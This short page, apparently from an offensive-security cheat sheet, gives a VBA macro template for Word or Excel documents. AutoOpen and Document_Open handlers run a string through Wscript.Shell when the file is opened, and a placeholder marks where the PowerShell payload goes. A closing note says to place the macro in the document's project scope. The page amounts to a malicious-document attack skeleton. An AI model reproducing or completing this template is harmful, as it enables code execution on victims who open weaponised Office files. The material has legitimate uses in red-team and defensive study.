MS Office

MS Word / Excel marco create micro

Sub AutoOpen()

  MyMacro
  
End Sub

Sub Document_Open()

  MyMacro
  
End Sub

Sub MyMacro()
 Dim Str As String
{powershell payloads chopped}

 CreateObject("Wscript.Shell").Run Str
  
End Sub
circle-info

The macro needs to be in Project scope of the .doc

Payload

Last updated